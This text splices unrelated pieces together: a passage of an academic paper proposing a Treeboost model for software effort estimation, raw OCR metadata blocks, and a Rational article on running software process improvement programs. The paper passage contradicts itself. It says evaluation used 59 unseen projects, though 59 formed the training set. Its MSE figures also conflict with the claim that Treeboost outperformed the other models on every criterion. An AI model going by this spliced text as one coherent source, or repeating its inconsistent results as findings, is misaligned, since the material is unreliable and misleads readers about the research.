- In the Stochastic Gradient Boosting algorithm, “Stochastic” means that instead of using all data for training, a random percentage of training data points (50% is recommended) will be used for each iteration instead. This has yielded an improvement in the results.
- The Stochastic Gradient Boosting (SGB) algorithm has a factor called Shrinkage factor. Experiments show that multiplying each tree in the series by this factor (between 0 and 1) will delay the learning process and consequently, the length of the series will be longer to compensate for the shrinkage. This also leads to better prediction values.
- To improve the optimization of the process, an Influence Trimming Factor is applied. In the Treeboost model, the residual errors of a tree are used as inputs to the next consecutive iteration. The Influence Trimming Factor allows the rows with small residuals to be excluded. If this factor is 0.10, rows with residuals that represent less than 10% of the total residual weight will be ignored.
The Treeboost algorithm is described as:
$$F(x) = F_0 + A_1 \cdot T_1(x) + A_2 \cdot T_2(x) + \ldots + A_M \cdot T_M(x).$$ \hspace{1cm} (6)
Where $F(x)$ is the predicted target, $F_0$ is the starting value, $x$ is a vector which represents the pseudo-residuals, $T_1(x)$ is
the first tree of the series that fits the pseudo-residuals (as defined below) and A1, A2, etc. are coefficients of the tree nodes. The Treeboost algorithm is applied based on the following rules:
1. Find the coefficient of F
2. Select the rows that will feed the next tree. If the stochastic factor is set to 0.5, 50% of the rows will be randomly chosen.
3. Sort the residuals of the rows being used and transform the residuals using Huber’s Quantile Cutoff factor. The transformed residual values are called pseudo-residuals.
4. Fit the first tree (T1) to pseudo-residuals.
5. Calculate the mean of the pseudo-residuals in each of the terminal nodes. This mean becomes the predicted variable of the node.
6. Calculate the residuals between the predicted variable and the pseudo-residuals that fed the tree, and apply Huber’s Quantile Cutoff factor again. Then, compute the mean of these residuals.
7. Calculate the boost coefficient (A1) of the node which is the difference between the mean residual value and the mean of the predicted values of the tree.
8. Multiply the boost coefficient by the shrinkage value to retard the learning process.
III. RELATED WORK
This section presents related work regarding the Treeboost model and software estimation. While Treeboost (Stochastic Gradient Boosting) models have been applied in many areas, little work has been done in software effort estimation. M. Elish [20] compares a Stochastic Gradient Boosting model with other neural and regression models. The main limitation of Elish’s work is that the Stochastic factor was set to 1. This means that all data points were used for training. However, the main goal of the SGB algorithm (the stochastic part) is that a random portion of the training data should be used for training as opposed to using all data. By setting the Stochastic factor to “1”, the Stochastic Boosting Algorithm will no longer be “stochastic”. Moreover, some important parameters such as the number of trees and shrinkage factor are missing. Furthermore, the model and other neural and regression models were only trained using 18 projects. Decision trees and fuzzy decision trees algorithms such as [21], [22], [23] and [24] have been used in software effort prediction models.
None of the related work proposes a Treeboost model for software effort estimation from use case diagrams. Moreover, besides the work of Elish [20], we are among the first who proposed a Treeboost model for software effort estimation. Another contribution in this work is that we are simplifying the Use Case Point model by introducing a new approach to measure the project complexity.
IV. REGRESSION AND TREEBOOST MODELS
This section introduces the multiple linear regression and Treeboost models. Our dataset contains 84 projects of which 70% (59 projects) were randomly chosen to train the models and 30% (25 projects) were used to test the model. Each of the proposed models takes 3 inputs which include software size, productivity and project complexity.
A. Multiple Linear Regression Model
The multiple linear regression model was constructed using 59 data points. A normality test was applied and we found that “Effort” and “Size” were not normally distributed, so “ln(effort)” and “ln(size)” were used instead of “Effort” and “Size”. The equation of the regression model is:
\[
\text{ln}(\text{Effort}) = 1.8 + 1.24 \times \text{ln}(\text{Size}) + 0.007 \times \text{Productivity} + 0.12 \times \text{Complexity}.
\]
(7)
Where Effort is measured in person-hours and Size in UCP. Productivity is measured based on Equation (8) and Complexity is measured as proposed in Section IV, B. To measure the accuracy of the regression model, we measured the value of the coefficient of determination \(R^2\) which is 0.8. This indicates that 80% of the variation in Effort can be explained by the independent variables Size, Complexity and Productivity. Moreover, we measured the Analysis of Variance (ANOVA) of Equation (7) and the model parameters. The “p” value of the model is 0.000 which indicates that the relationship among the variables is significant. The “p” values of the independent variables ln(size), productivity and complexity are 0.000, 0.282 and 0.012, respectively. This shows that all independent variables are statistically significant at the 95% confidence level except “productivity” (p value > 0.05). Removing the variable “productivity” will not worsen the accuracy of the model; however, we decided to keep the “productivity” variable in the Treeboost model because this variable might be statistically significant in other data sets. We also measured the Variance Inflation Factor (VIF) of each independent variable to see if the multicollinearity issue (when one independent variable has a relationship with other independent variables) exists. We found that the highest VIF factor is for the variable “ln(Size)” which is 1.03. This indicates that the multicollinearity issue does not exit [25] (VIF is less than 4).
B. Model’s Inputs
The inputs of the model are software size, productivity and complexity. Software size was estimated based on the UCP model as described in Section II, A.
The productivity factor was calculated based on Table I according to this equation:
\[
\text{Productivity} = \sum_{i=1}^{8} E_i \times W_i.
\]
(8)
Where \(E_i\) and \(W_i\) are the Environmental factors of the UCP model and their corresponding weights as depicted in Table I.
The complexity of the project is an important factor in software effort prediction. Complexity can be interpreted as an item having two or more elements [26] [27]. There are two dimensions of complexity. These include business scope such as schedule, cost, risk and technical aspect which is the degree of difficulty in building the product [27]. Technical complexity deals with the number of components of the product, number of technologies involved, number of interfaces and types of interfaces [27]. The project complexity can be classified as low complexity, medium complexity or high complexity [27]. Project complexity should be distinguished from other project characteristics such as size and uncertainty [26]. Complex projects require more effort to develop than simple projects that have the same size. In our research, we identify the project complexity based on five levels (from Level1 to Level5) [28] [29]. The reason behind defining five levels is to be compatible with other cost estimation models such as COCOMO where cost drivers are classified into five or six levels (such as Very Low, Low, Nominal, High, Extra High). Additionally, this classification is compatible to the project complexity classification in [27]. Each level has its corresponding weight. The five complexity levels are defined as follows:
- **Level1**: The complexity of a project is classified as Level1 if the project team is familiar with this type of project and the team has developed similar projects in the past. The number and type of interfaces are simple. The project will be installed in normal conditions where high security or safety factors are not required. Moreover, Level1 projects are those of which around 20% of their design or implementation parts are reused (came from old similar projects). The weight of the Level1 complexity is 1.
- **Level2**: This is similar to level1 category with a difference that only about 10% of these projects are reused. The weight of the Level2 complexity is 2.
- **Level3**: This is the normal complexity level where projects are not said to be simple, nor complex. In this level, the technology, interface, installation conditions are normal. Furthermore, no parts of the projects had been previously designed or implemented. The weight of the Level3 complexity is 3.
- **Level4**: In this level, the project is required to be installed on a complicated topology/architecture such as distributed systems. Moreover, in this level, the number of variables and interface is large. The weight of the Level4 complexity is 4.
- **Level5**: This is similar to Level4 but with additional constraints such as a special type of security or high safety factors. The weight of the Level5 complexity is 5.
The Treeboost model proposed in our research work was trained using 59 data points based on the parameters listed in Table II. To avoid overfitting during the training process, 20% of the training rows were used for validation. The initial number of trees of the model was set to 1. The number of the trees is incremented by 1 up to a maximum number of 1,000. The optimal number of the trees is determined when the value of the pseudo-residuals is minimal based on the influence trimming factor. As shown in Figure 1, best validation results (the blue lower curve represents the training process and the red upper curve represents the validation process) were obtained when the number of trees was 1,000. DTREG [30] was used to design the Treeboost model.
The analysis of variance (ANOVA) shows that the coefficient of determination (R²) and the Root Mean Squared Error (RMSE) are 0.99 and 2,398, respectively in the training process. However, the R² and RMS values in the validation process are 0.93 and 15,250, respectively.
V. **MODEL EVALUATION AND DISCUSSION**
This section presents the evaluation of the Treeboost model against the regression as well as the UCP model based on the MMRE, PRED, MSE and MAE criteria.
<table>
<thead>
<tr>
<th># of trees</th>
<th>Huber Quantile Cutoff</th>
<th>Shrinkage Factor</th>
<th>Stochastic Factor</th>
<th>Influence Trimming Factor</th>
</tr>
</thead>
<tbody>
<tr>
<td>1000</td>
<td>0.95</td>
<td>0.1</td>
<td>0.5</td>
<td>0.01</td>
</tr>
</tbody>
</table>
Figure 1. Number of trees
A. **Project Dataset**
This research is based on software effort prediction from use case diagrams. We have encountered many difficulties...
in acquiring industrial projects because revealing UML diagrams of projects is considered confidential. For this reason, we prepared a questionnaire that could help us obtain industrial data without actually having UML diagrams. In this questionnaire, we asked for the number of use cases in each project, the number of transactions of each use case, actual software effort as well as the project complexity, and factors contributing to productivity. Eighty four projects were collected from 3 main sources such that 58 are industrial projects and 26 are educational ones. Table III shows the characteristics of these datasets.
B. Model Evaluation
The Treeboost model was evaluated using 59 data points that were not included in the training stage. The criteria uses are MMRE, MdMRE, PRED(0.25), PRED(0.50) and MSE. Table IV shows the evaluation values of the Treeboost, multiple linear regression and UCP models.
<table>
<thead>
<tr>
<th>Criteria</th>
<th>Treeboost</th>
<th>Regression</th>
<th>UCP</th>
</tr>
</thead>
<tbody>
<tr>
<td>MMRE</td>
<td>0.29</td>
<td>0.44</td>
<td>0.38</td>
</tr>
<tr>
<td>PRED(25)</td>
<td>64</td>
<td>8</td>
<td>40</td>
</tr>
<tr>
<td>PRED(50)</td>
<td>88</td>
<td>60</td>
<td>64</td>
</tr>
<tr>
<td>MdMRE</td>
<td>0.14</td>
<td>0.44</td>
<td>0.40</td>
</tr>
<tr>
<td>MSE</td>
<td>3.2x10^{-7}</td>
<td>5x10^{-8}</td>
<td>10x10^{-8}</td>
</tr>
</tbody>
</table>
C. Discussion
Table IV shows that the proposed Treeboost model surpasses the Regression and UCP models by 15% and 9%, respectively based on the MMRE criterion. Based on the MdMRE criterion, the Treeboost model surpasses the Regression and UCP models by 30% and 36%. Additionally, the Treeboost model gives better results based on PRED(0.25) and PRED(0.5), and this shows that the Treeboost model outperforms the other two models. To confirm the robustness of the Treeboost model, we measured the non-parametric Mann-Whitney U test between the Treeboost model and the other two models based on the MRE as shown in Table V. The Mann-Whitney U test was chosen because the values of the MRE were not normally distributed. Results show that the Treeboost model is statistically significant at the 95% confidence level.
<table>
<thead>
<tr>
<th>Models</th>
<th>Mann-Whitney (p-value)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Treeboost vs Regression</td>
<td>0.0003</td>
</tr>
<tr>
<td>Treeboost vs UCP</td>
<td>0.0361</td>
</tr>
</tbody>
</table>
VI. Threats to Validity
1- The Treeboost model is a series of many small trees. The proposed model consists of 1,000 trees. The model was trained using 59 projects with efforts ranging between 507 and 224,890 person-hours. This shows that there is a significant difference in size between the smallest and the largest data point. Despite the good results obtained from the evaluation of the Treeboost model, this model would perform better if more training data points would have been used.
2- The neural network and linear/non-linear regression models have the capability to extrapolate the relationship between input and output vectors during the training process and thus, can map outputs to inputs even if these inputs are beyond (to a certain degree) the inputs of the training data points. However, this is not true with Treeboost models. Based on the decision tree models, the node with the largest number handles the last decision. The Treeboost model works in a similar way, but it is more complicated than the single decision tree. Nonetheless, the proposed Treeboost model also has limitations determined by the values of the three independent variables (size, productivity, complexity). To demonstrate this limitation, the Treeboost model was tested using an artificial dataset composed of 121 data points with sizes ranging between 1,000 and 4,000 UCP each incremented by 25. Since software size is the most important predictor in the model, productivity and complexity values were set to normal values (30 for productivity and 3 for complexity) for all projects. Figure (2) shows the Scatterplot graph between software size and predicted effort. The graph shows that the predicted effort of any project with a size greater than 2,475 UCP (productivity = 30 and complexity =3) is 185,004 person-hours. Although the size limitation varies based on the values of other predictors (productivity and complexity), it is not recommended to use the proposed Treeboost model to test projects of size more than 2,500 UCP.

VII. Conclusions
This paper proposed a Treeboost model to predict software effort based on three independent variables which include software size, productivity and complexity. The Treeboost
A model was developed through a series of 1,000 trees and was trained using 59 data points. The model was evaluated using 25 data points against the UCP, as well as a multiple linear regression model. The evaluation criteria used were MMRE, PRED, MSE and MdMRE. The proposed model is limited to projects of size around 2,475 UCP (around 200,000 person-hours). Results showed that the Treeboost model outperformed the multiple linear regression model as well as the UCP model in all evaluation criteria. Based on these results, we conclude that the Treeboost model can be used for software effort estimation and can compete with other regression models.
Future work will focus on calibrating the Treeboost model when new datasets are available.
**References**
|
{"Source-Url": "https://pdfs.semanticscholar.org/b22a/714e045a3f3566d7c29ac638851a20ec8713.pdf", "len_cl100k_base": 5817, "olmocr-version": "0.1.50", "pdf-total-pages": 6, "total-fallback-pages": 0, "total-input-tokens": 21604, "total-output-tokens": 7811, "length": "2e12", "weborganizer": {"__label__adult": 0.00032401084899902344, "__label__art_design": 0.0003256797790527344, "__label__crime_law": 0.0003044605255126953, "__label__education_jobs": 0.00110626220703125, "__label__entertainment": 6.401538848876953e-05, "__label__fashion_beauty": 0.00014531612396240234, "__label__finance_business": 0.000659942626953125, "__label__food_dining": 0.0003407001495361328, "__label__games": 0.0005922317504882812, "__label__hardware": 0.0005450248718261719, "__label__health": 0.0004153251647949219, "__label__history": 0.00018990039825439453, "__label__home_hobbies": 8.147954940795898e-05, "__label__industrial": 0.0003292560577392578, "__label__literature": 0.0002655982971191406, "__label__politics": 0.0001888275146484375, "__label__religion": 0.0002703666687011719, "__label__science_tech": 0.01477813720703125, "__label__social_life": 8.863210678100586e-05, "__label__software": 0.007007598876953125, "__label__software_dev": 0.97119140625, "__label__sports_fitness": 0.00027632713317871094, "__label__transportation": 0.0003361701965332031, "__label__travel": 0.0001779794692993164}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 30467, 0.03765]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 30467, 0.43519]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 30467, 0.90925]], "google_gemma-3-12b-it_contains_pii": [[0, 5094, false], [5094, 10084, null], [10084, 15543, null], [15543, 19995, null], [19995, 24596, null], [24596, 30467, null]], "google_gemma-3-12b-it_is_public_document": [[0, 5094, true], [5094, 10084, null], [10084, 15543, null], [15543, 19995, null], [19995, 24596, null], [24596, 30467, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 30467, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 30467, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 30467, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 30467, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 30467, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 30467, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 30467, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 30467, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 30467, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 30467, null]], "pdf_page_numbers": [[0, 5094, 1], [5094, 10084, 2], [10084, 15543, 3], [15543, 19995, 4], [19995, 24596, 5], [24596, 30467, 6]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 30467, 0.10145]]}
|
olmocr_science_pdfs
|
2024-11-29
|
2024-11-29
|
9917fa494df4cfc0331bf9a1974f8cb54e684a94
|
[REMOVED]
|
{"Source-Url": "https://core.ac.uk/download/pdf/11038737.pdf", "len_cl100k_base": 6482, "olmocr-version": "0.1.50", "pdf-total-pages": 10, "total-fallback-pages": 0, "total-input-tokens": 24982, "total-output-tokens": 7688, "length": "2e12", "weborganizer": {"__label__adult": 0.0003209114074707031, "__label__art_design": 0.00046944618225097656, "__label__crime_law": 0.0005474090576171875, "__label__education_jobs": 0.0024929046630859375, "__label__entertainment": 0.0001081228256225586, "__label__fashion_beauty": 0.00019502639770507812, "__label__finance_business": 0.0012102127075195312, "__label__food_dining": 0.0003552436828613281, "__label__games": 0.0005388259887695312, "__label__hardware": 0.0009222030639648438, "__label__health": 0.0005445480346679688, "__label__history": 0.0004396438598632813, "__label__home_hobbies": 0.00013816356658935547, "__label__industrial": 0.0006198883056640625, "__label__literature": 0.0004835128784179687, "__label__politics": 0.00029158592224121094, "__label__religion": 0.0004274845123291016, "__label__science_tech": 0.1475830078125, "__label__social_life": 0.00017631053924560547, "__label__software": 0.0802001953125, "__label__software_dev": 0.76123046875, "__label__sports_fitness": 0.0001928806304931641, "__label__transportation": 0.0004270076751708984, "__label__travel": 0.00023472309112548828}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 26566, 0.02164]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 26566, 0.66676]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 26566, 0.89261]], "google_gemma-3-12b-it_contains_pii": [[0, 2839, false], [2839, 5752, null], [5752, 8680, null], [8680, 11847, null], [11847, 15030, null], [15030, 17984, null], [17984, 20477, null], [20477, 22489, null], [22489, 23654, null], [23654, 26566, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2839, true], [2839, 5752, null], [5752, 8680, null], [8680, 11847, null], [11847, 15030, null], [15030, 17984, null], [17984, 20477, null], [20477, 22489, null], [22489, 23654, null], [23654, 26566, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 26566, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 26566, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 26566, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 26566, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 26566, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 26566, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 26566, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 26566, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 26566, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 26566, null]], "pdf_page_numbers": [[0, 2839, 1], [2839, 5752, 2], [5752, 8680, 3], [8680, 11847, 4], [11847, 15030, 5], [15030, 17984, 6], [17984, 20477, 7], [20477, 22489, 8], [22489, 23654, 9], [23654, 26566, 10]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 26566, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-02
|
2024-12-02
|
6dd2849c6691fc496bd99bcaeba60b8e06487143
|
Principles of Process Improvement
by Ian Spence
Technical Lead
Process and Project Management Team
Rational Services Organization, UK
Nothing is more difficult than to introduce a new order. Because the innovator has for enemies all those who have done well under the old conditions and lukewarm defenders in those who may do well under the new.
-Niccolò Machiavelli, 1513 A.D.
Changing the software development process is hard enough when you are only addressing a single, small pilot project. It becomes exponentially more difficult when the target is a large project, program, department, or organization.
This article takes a look at what makes large-scale process changes so difficult, discusses the role of formal Process Improvement Programs in effecting organizational change, and presents a selection of experience-based principles that can be applied to improve a program’s chances of success.
Process Change Is Organizational Change
Before we start to discuss Process Improvement Programs and their effects, we should take a step back and look at the basic concepts that shape any software development organization. The whole organization is based upon four fundamental concepts, as shown in Figure 1.
There are a number of fundamental interrelationships among these four concepts:
- **Projects** create and change **Products**.
- **Projects** draw on resources from **Organizational Units**.
- **Organizational Units** organize resources and support **Customers**, **Projects**, and **Products**.
- **Customers** consume and commission **Products**.
- **Customers** provide the market and requirements for the **Products** produced.
Missing from this model is the *infrastructure* that binds all of these concepts together: the **Organizational Culture** (see Figure 2).
In its purest form, organizational culture can be thought of as the philosophy and practices that drive the form the organization takes, the products it produces, and the customers it attracts.
For organizations engaged in the business of software engineering, the organizational culture comprises a combination of the underlying business culture and business procedures, the larger company culture, operational procedures, and the *software development environment*. The latter encompasses all of the things a project needs to develop, deploy, and maintain a product, such as processes, tools, guidelines, templates, and technology.
It is also the area that most directly affects the software engineering business's performance, and the one most organizations choose to address when attempting to achieve performance improvements. The key message of this article is that *the software development environment, and by implication the software development process, cannot be changed in isolation from the organizational culture*. Any significant change to the development environment will, and should, have an impact upon the other areas of the organizational culture.
In fact, to produce lasting improvements in a software development
organization's performance, we must:
- Embed the need for improvement directly into the heart of the organizational culture.
- Adopt a holistic approach that will continuously improve the support provided for all aspects of the organization.
Often, the most effective method for producing fundamental change within the software development environment is to change the underlying software development process. This means embarking on a program of organizational change.
**Why Is Organizational Change So Hard?**
Organizations must change in order to keep pace with the changing environment around them. Living in denial and freezing the organization simply causes necessary changes to pile up until they cause a crisis. So why is organizational change so hard to achieve and crisis so prevalent?
Unfortunately, people resist change. In fact, whether because of inertia or fear of the unknown, people will often actively oppose change, or at least slow it down to what they feel is a manageable pace. In order to change an organization, you must understand these forces and channel them to enable, rather than oppose, change.
In his 1995 paper "Affecting Organizational Change," Roger Hebden expresses the forces of change as a simple formula:
\[ \text{pain} + \text{desire} = \text{change} \]
The fundamental tenet of this formula is that change is ultimately driven by emotions. Pain and desire are the forces that drive us to make a change and to accept it. Pain is the catalyst that initiates a change, and desire is the force that pulls us toward a goal. A successful transition entails understanding and managing the perceived level of pain and the desire for a solution. This is what D.Connor calls *pain management* and *remedy selling*.
*Pain management* means identifying and communicating what the fundamental issue is (our experience shows that the underlying problem is often in the organization's process or in the absence of one) and why change is necessary.
*Remedy selling* consists of two activities: solution selling and transition planning. It isn't enough to describe the ideal goal. To define a solution, you also need a path from where you are to where you are going, with some clearly defined intermediate milestones.
Change will not happen just because management says so. It is too easy to generalize about both problems and solutions. "Every project must follow the Rational Unified Process" is a sweeping generalization about how projects need to act; however, it does little to initiate change.
To successfully implement an organizational change, the adopting organization must:
- **Identify change agents** at various levels of the organization. This is the set of individuals who will take on the mission to make the change happen.
- **Formulate the real nature of the problem.** The change agents must understand the real nature of the pain and communicate it to the rest of the organization to raise awareness.
- **Plan the changes** in small, reasonable, and measurable steps describing both the goal, and the path to the goal. The plans must balance the need to achieve immediate, tactical improvements against the organization's longer-term strategic objectives.
- **Communicate the changes** in terms of tangible, quantifiable achievements and activities in a way that is understandable to all levels of the organization.
When any sort of large-scale organizational change fails, it can usually be ascribed to one of the following causes:
- Failure to incrementally implement the changes.
- Lack of management support.
- Lack of practitioner support.
- Lack of stakeholder support (i.e., customers, other departments, subcontractors, and suppliers).
- Lack of willingness or ability to deal with organizational change.
It is exactly these non-technical issues that derail many organizations' attempts to fundamentally change their software development environment.
**Introducing the Process Improvement Program**
Process changes affect individuals and organizations more deeply than changing technology or tools, since they strike at the heart of people's fundamental beliefs and values, changing the way they view their work and its value. In some cases they can even go as far as changing the organization's reward structure as well as the physical working environment, business culture, and politics. They also affect the way the organization works at the project level, the department level, and with other organizations. As Ivar Jacobson notes in *Software Reuse: Architecture, Process, and Organization for Business Success*, this kind of process change amounts to "reengineering your software engineering business."
The management, planning, coordination, promotion, implementation, and measurement required to support this kind of change requires a formal Process Improvement Program.
This program needs to address the following areas:
- **People.** This includes their competencies, skills, motivation, and attitude; everyone needs to be adequately trained and motivated.
- **Projects.** The projects interacting with the Process Improvement Program must feel that they are receiving direct benefit from their involvement, so they should understand both the potential effectiveness and the costs of the proposed changes.
- **The process model.** This should define dependent structures, activities, and practices as well as artifacts to be produced.
- **Distribution mechanisms.** This includes how the process will be described, promoted, and distributed.
- **Supporting tools.** New tools will inevitably replace old ones, and this will require customization and integration.
It should also take into account the broader stakeholder community, including:
- **Managers** who are responsible for the performance of the software development organization. Any Process Improvement Program must have executive support, so these people must understand why the process is being changed, the potential return on investment, when and how progress is being made, and that expectations need to be carefully managed.
- **Customers,** both internal and external to the company. These people may need to be informed that the organizational process has changed, because it could affect how and when their input will be addressed and how products will be delivered.
- **Other parts of the organization** may also be affected. Sometimes changes in one sector of a business may lead to resistance and skepticism from other sectors that may not understand the reasons for the changes. Even if they don't have a direct influence on the program, ignoring other parts of the organization may cause political problems.
The Process Improvement Program is primarily an agent of organizational change. Its primary method for facilitating change is by improving the underlying software development process and its supporting tool set.
**An Experience-Based Approach to Process Improvement**
Experience also shows us that a number of basic principles can be applied to improve the Process Improvement Program’s chances of success:
- Run it as a business program -- think "return on investment."
- Understand the existing environment.
- Build on the best -- don't reinvent the wheel.
- Make measurable, incremental improvements.
• Focus on projects and products, not organization.
• Use mentors, not enforcers, to facilitate rather than obstruct.
• Distribute process ownership.
• Keep people informed and involved.
The rest of this section looks at each of these principles in more detail.
**Run It as a Business Program -- Think "Return On Investment"**
Manage and plan the Process Improvement activities just as you would all the other activities in the business: Set up milestones, allocate resources, and manage and follow up as you would for any other program. Think "return on investment" when scoping activities; focus on those things that will pay back more than what was invested.
Some Process Improvement Programs devote too much time and too many resources to developing extensive guidelines, customized processes, and additional process-related material before beginning a project. There are four major problems with this:
• People do not read extensive descriptions.
• Doing everything right from the beginning is very difficult. It's better to try out something small, adjust it, and then expand the scope.
• People with process knowledge should spend most of their time mentoring, not writing extensive descriptions.
• These activities produce no measurable return on investment. Creating process definitions will not improve anything unless you apply the process.
No organization can afford to wait years for the perfect process to be fully documented before realizing actual improvements or a return on investment. The Process Improvement Program, whatever its ultimate aim, must include a substantial payback on the projects it affects.
**Understand the Existing Environment**
Before embarking on any major Process Improvement Program, the current development environment must be clearly understood, including:
• Current processes and practices
• Current tool set
• Current roles and team structures
• Products to be supported and produced
• Organizational process maturity
• Dynamics and politics of the current organizational structure
Without establishing this baseline understanding, you cannot make decisions about which process improvements should have highest priority and how to measure improvements.
**Build on the Best -- Don't Reinvent the Wheel**
The Process Improvement Program needs a firm foundation to build on. There are three sources available to build this from:
- Things that the organization does well. Harvest best practices from the most successful projects.
- The leading practices and products of the industry.
- The experiences of the people involved in the program.
Remember that the objective is not to transform the environment in one fell swoop, but rather to improve things bit by bit. To this end, the Process Improvement Program must focus on the organization's core business, prove all proposals in conjunction with real projects, and ensure that it is improving, not degrading, the performance of the business.
**Make Measurable, Incremental Improvements**
Implement environment, process, and tool changes incrementally to avoid overwhelming project teams with too many new challenges all at once. Introducing a new environment one piece at a time will increase the probability of success, and if you have assessed the development organization carefully, then you will know which parts of the process to introduce first. Typically it is best to start with the most problematic areas.
For example, an appropriate approach might be to:
- Focus the first iteration on improving the way requirements are captured and managed.
- Focus the second iteration on the analysis and design of applications and their components.
- In subsequent iterations, develop and deploy more and more parts of the environment.
**Focus on Projects and Products, Not Organization**
Too many process improvement initiatives focus on the organizational structure to support the desired process before the process itself has been proven or accepted. The thinking is, "If I put all my pieces in the right places, then they will automatically work in the right way and produce the right things," or "If we build it, they will come." In fact, this approach is naive at best and disastrous at worst.
*The organizational structure should depend on the process and not vice versa.* The process you select should depend on the types of projects your organization undertakes and the types of products you produce. You can
establish an optimal organizational structure (an objective of the Process Improvement Program) only when a process is in place. The required organizational structure should grow organically from the overall success of the Process Improvement Program. In fact, to develop, establish, and deploy the products of the Process Improvement Program, a number of interim, transitional organizational structures are usually required.
The criteria for judging the effectiveness of an organizational structure are the same as those for the Process Improvement Program: the quality of the products produced and the efficiency of the projects that produce them. Focus on the products and projects within the organization before attempting dramatic restructuring of the organization itself.
Any process recommended by the Process Improvement Program must provide a firm foundation for the continued evolution of the organization's product set. The process must be scalable and capable of continuous improvement and evolution alongside the business that it supports. As the business grows and changes, the process will start to dictate and mold the underlying organizational structure.
Most successful Process Improvement Programs start as small, focused projects working within the existing structure. Remember: Consultants, centers of excellence, tiger teams, hit squads, and so on, are just tools to be deployed as part of the ongoing Process Improvement Program.
**Use Mentors, Not Enforcers, to Facilitate Rather than Obstruct**
*Mentors act as drivers of change.* Experience shows that using mentors is crucial if you want the implementation of a new process to succeed. Without them, there's a clear risk that people will fall back into their old habits.
Allocate sufficient resources, and plan mentoring activities carefully. The Process Improvement Program needs both the resources and the budget to enable the mentoring of the projects adopting and configuring the process. The cost of adopting the new process must not fall solely upon the adopting projects. As well as supporting the project's development staff, it is important that a process mentor works with, and supports, the project manager to ensure that the process changes progress in synergy with project work.
The mentor should focus on transferring both knowledge and responsibilities to project members and ultimately become dispensable and obsolete. Mentors must also remember their responsibilities to the Process Improvement Program, including:
- To harvest best practices from the projects they support.
- To make "just in time" process improvements and configurations.
- To promote the Process Improvement Program within the projects.
Some organizations adopt a hands-off, review-led approach to process improvement. Instead of actively engaging with the projects to promote and facilitate adoption of the new process, they rely on threats and reviews to ensure compliance. This "enforcer" approach is fundamentally flawed; the
involvement nearly always comes too late for the projects adopting the new process and consequently obstructs, rather than facilitates, adoption as well as project progress. In many instances, without a mentor as process driver, the whole implementation fails.
**Distribute Process Ownership**
Distributing ownership of the process among project members gets them more involved, reduces their opposition to the changes, and allows their experiences to be leveraged to the benefit of the whole organization. The resulting process is better when the "real experts" -- people actually working on the project -- develop it themselves. Distributing process ownership reduces the likelihood that projects will become too heavily dependent on outside consultants and helps project members feel like part of the program rather than its victims.
As soon as possible, appoint people on the projects to be responsible for each in-scope, core area of process improvement. They should be people who know the area well, can mentor other project members, and will champion the Process Improvement Program within the project.
They should have primary responsibility for configuring and publishing individual parts of the process, and they should also help those who own the different parts of the process to define, configure, and document the process.
**Keep People Informed and Involved**
The greatest threat to any organizational change is people's natural resistance to change. Introducing new processes and tools means that people have to modify the way they work, and many grumble about it, or worse. This creates the risk of a negative spiral: Negative attitudes can lead to poor results, which then lead to even more negative attitudes, and so on.
Some actions you can take to prevent negative attitudes from taking over are:
- **Set realistic expectations.** Do not oversell the new process or the new tools.
- **Explain why the change needs to happen.** Makes sure people know what problems the organization has that need to be solved. What changes in technology require a new process and new tools? How will people benefit from using these new tools and process?
- **Inform everyone in the organization about what is happening.** This information doesn't have to be very detailed; the important thing is to make sure people know about the changes.
- **Remember stakeholders, such as customers or sponsors.** If you are changing from a waterfall to an iterative development approach, for example, the stakeholders must understand how an iterative development project is managed and how progress is measured. With an iterative development project, they shouldn't expect a completely frozen design at an early milestone, for example, and they should also
know that requirements may be captured differently.
- **Involve key people in the change work.** Give them responsibility for parts of the process.
- **Educate project people about the new process and tools.** After all, they will need to understand both how the new process works and how to use the new tools.
**The Process Improvement Program Is an Agent of Change**
The Process Improvement Program is a change mechanism, not a department. Although it will initially have responsibility for supporting and maturing the software development environment that it produces, the Program must resist the temptation to overcentralize and start empire building.
